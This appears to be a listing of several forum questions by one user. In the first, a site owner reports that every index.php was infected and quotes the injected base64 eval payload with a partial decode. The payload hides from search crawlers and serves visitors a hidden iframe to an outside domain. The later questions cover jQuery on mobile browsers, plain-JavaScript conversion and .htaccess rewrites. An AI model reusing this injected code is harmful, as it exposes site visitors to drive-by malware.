小编fra*_*bit的帖子

我的网站(非常大的社区网站)最近感染了病毒.每个index.php文件都被更改,以便将这些文件的开头php标记更改为以下行:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

当我解码它时,它产生了以下PHP代码:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){ …

我想为手机构建一个相对简单的网站版本,但我肯定需要JavaScript和jQuery来实现许多功能.

谷歌搜索没有帮助找到答案.jQuery与手机中流行浏览器的兼容性如何？

我说的是智能手机.例如,这些平台的默认浏览器

• Windows Mobile 6+
• Android 1.5+
• iPhone 3G

让我们添加Opera Mobile.

这是我的第一个问题.我有以下jquery代码:

$(document).ready(function(){  
    $("a").click(function(){
        $(this).parent("li").css({textDecoration: "line-through"});
        return false;
    });
 });

工作得很好.它击中任何点击锚点的父li(html中有许多锚点和列表,而不仅仅是一个).但我想要这个功能,没有别的.包含整个jquery库这不是一种过度杀伤吗？

Unfortunateley我不太了解原始的javascript,有人可以为我转换这个吗？我会很感激.

编辑:哇,我对速度和答案的质量感到惊讶!所以首先要感谢大家!我会选择jonathon(edit2:roland)的解决方案,或者只是包含jquery.再次感谢!

我必须做一些非常错误的事情,因为无论我如何尝试或谷歌它,我找不到答案:(

所以,我想有一个像http:// localhost/BLUEPRINT/list/857 这样的URL来实际加载这样一个完美的工作URL:http://localhost/BLUEPRINT/list.php？lid = 857

我可以在.htaccess文件中写入重写规则,我可以读取lid变量.问题是list.php中的所有路径都是相对的.Css,图像,javascript等所以当SEO友好的网址加载所有这些项目都在BLUEPRINT/list/857/...

所以例如:<img src="images/logo.png" />在请求seo友好的url时实际上是这样的:<img src="list/857/images/logo.png" />

那我该怎么办？

我可能会尝试将页面中的所有路径转换为root相对(例如"/BLUEPRINT/images/logo.png")而不是相对路径.但是页面中有几十个,即使我这样做,它们也无法在实际服务器上运行,因为它可能是"/ images"而不是"/ BLUEPRINT/images".所以我不能只将我的文件上传到实际的服务器.

我有什么选择？所有这些精彩的脚本如wordpress,joomla等如何处理这个问题？我到底做错了什么？它让我疯狂!